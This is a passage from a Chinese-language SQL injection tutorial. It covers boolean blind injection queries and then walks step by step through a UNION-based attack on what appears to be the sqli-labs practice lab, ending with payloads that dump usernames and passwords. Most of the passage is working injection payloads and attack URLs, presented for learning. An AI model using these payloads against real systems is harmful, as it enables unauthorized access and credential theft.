id=1 AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1))=5
1
2
#推测字段名字符,可以写成循环来判断:
id=1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1),1,1)='i'

获取字段值

使用逐字符猜测字段值:

假设字段 password在表users中:

1
2
###  获取字段值长度:
id=1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=8
1
2
###  获取字段值字符:
id=1 AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p'

布尔盲注语句参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#获取database的name的长度
select * from aj_report.lesson_user where id = 1 and length(database()) = 9;

#获取database的name的第1个字符
select * from aj_report.lesson_user where id = 1 and substring(database(),1,1) = 'a';

#获取database的name的第2个字符
select * from aj_report.lesson_user where id = 1 and substring(database(),1,2) = 'aj';
select * from aj_report.lesson_user where id = 1 and substring(database(),2,1) = 'j';
......
#获取database的name的第1个字符
select * from aj_report.lesson_user where id = 1 and left(database(),1) = 'a';

#获取database中的表的名字
select * from lesson_user where id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=19;
#获取database中的表的名字的长度(先获取第一个表的名字)
select * from lesson_user where id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=16;
select * from lesson_user where id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1))=2;
......
#获取database中的表的名字的第1个字符
select * from lesson_user where id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='a';
select * from lesson_user where id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),2,1)='u';

#获取lesson_user中字段的个数
select * from aj_report.lesson_user where id=1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='lesson_user')=5;

#获取lesson_user中第1个字段的名字的长度
select * from aj_report.lesson_user where id=1 AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='lesson_user' LIMIT 0,1))=3;

#获取lesson_user中第1个字段的名字的第1个字符
select * from aj_report.lesson_user where id=1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='lesson_user' LIMIT 0,1),1,1)='i';

#获取lesson_user中表的login_name字段中第一个记录的长度
select * from aj_report.lesson_user where id=1 AND LENGTH((SELECT login_name FROM lesson_user LIMIT 0,1))=2;

#获取lesson_user中表的login_name字段中第一个记录的第1个字符
select * from lesson_user where id=1 AND SUBSTRING((SELECT login_name FROM lesson_user LIMIT 0,1),1,1)='1';


1
2
3

#盲注脚本
or(ascii(mid(code from 1 for 1))=1)
组件含义
mid(code from 1 for 1)提取字段 code 的第1个字符
ascii(...)将该字符转为ASCII码
=1判断是否等于1(即判断code字段的第一个字符的ASCII值是否为1)
or (...)如果条件为真,则整体 WHERE 条件为真,从而绕过验证,成功登录或获取数据

实战案例

攻击过程一般分为以下几个步骤:

  1. 测试SQL注入漏洞:通过插入简单的SQL代码,确认是否存在注入漏洞。
  2. 确定查询的列数:通过ORDER BYUNION来确定数据库查询中返回的列数。
  3. 获取数据库信息:通过查询数据库名称、版本等基本信息来了解数据库环境。
  4. 获取表和列信息:通过查询information_schema等系统表,获取数据库中的表和列信息。
  5. 提取敏感数据:最终,通过GROUP_CONCAT等函数获取敏感数据,如用户名、ID、密码等。

详细过程如下:

一、测试是否存在SQL注入漏洞。

1
http://10.16.2.3:8081/Less-1/?id=1' order by 3 --+

id=1':这个部分插入了一个闭合单引号('),它试图结束掉原始的SQL语句,并引入新的SQL代码。通常,应用程序在执行查询时会拼接SQL语句,如果没有进行正确的参数化处理,注入攻击会成功。

order by 3:这是尝试通过SQL语句的ORDER BY子句来确定数据库中有多少列。这里3表示按第3列排序。如果数据库表中没有第3列,SQL会报错,攻击者可以通过调整这个数字来确定实际列数。

--+:这是SQL的注释符号。--表示注释的开始,+用于在URL编码中确保其作为注释符号被正确传递。它会将ORDER BY 3后面的内容视为注释,从而防止SQL语句后续的部分执行。

攻击目标: 测试系统是否容易受SQL注入影响,并尝试找出数据库查询中包含的列数。


二、通过UNION查询来获取数据库的更多信息

1
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,3 --+

id=-1':与上一步类似,注入了一个闭合单引号(')来结束原本的查询。

union select 1,2,3UNION用于将两个SELECT查询的结果合并。在这种情况下,攻击者尝试返回3列的查询结果。前两个列(12)是占位符,而第三个列(3)可以是其他数据。如果这个查询成功,则说明数据库查询的列数至少是3。

--+:注释符号,防止SQL查询后续部分的执行。

攻击目标: 确认SQL查询中能返回的列数,并为进一步的注入操作做好准备。


三、获取数据库的基本信息

1
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,database(),version() --+

查询获取两个数据库信息:

1:一个占位符。

database():一个SQL函数,返回当前使用的数据库名称。

version():一个SQL函数,返回数据库的版本信息。

通过这种方式,攻击者可以获取有关数据库的名称和版本等敏感信息。


四、获取数据库中表的名称

1
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat(table_name)group_concat是一个SQL聚合函数,允许将多个结果行连接成一个单一的字符串。在这里,攻击者试图从information_schema.tables中获取所有表名,并将它们连接成一个字符串。

where table_schema='security':这是一个条件子句,限定了查询的范围,只获取数据库security中的表信息。information_schema.tables是一个系统表,包含了数据库中所有表的元数据。

攻击目标: 获取目标数据库中所有表的名称。


五、获取某个表(例如users表)中的列名称

1
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

group_concat(column_name):类似于上一步,攻击者尝试通过group_concat获取users表中的所有列名,并将它们连接成一个字符串。

where table_name='users':这个条件子句指定了只查询users表的列信息。

攻击目标: 获取users表中所有列的名称。


六、 获取用户表中的敏感数据(如用户名、ID和密码)

1
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users --+

group_concat(username ,id , password):攻击者试图获取users表中的username(用户名)、id(用户ID)和password(用户密码)字段的值,并将它们连接成一个字符串。

攻击目标: 获取users表中的所有用户信息(用户名、ID和密码)。这些数据对于进一步的攻击(如登陆攻击)非常有价值。


七、改进之前的注入,获取数据格式化后输出

1
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(username ,'-',id,'-' , password) from users --+

group_concat(username ,'-',id,'-' , password):这里,攻击者使用'-'作为分隔符来格式化输出数据。相比之前的查询,这种格式的输出更容易在后续处理中解析(例如,分割用户名、ID和密码)。

攻击目标: 以更易读或可解析的格式获取users表中的敏感数据(用户名、ID和密码)。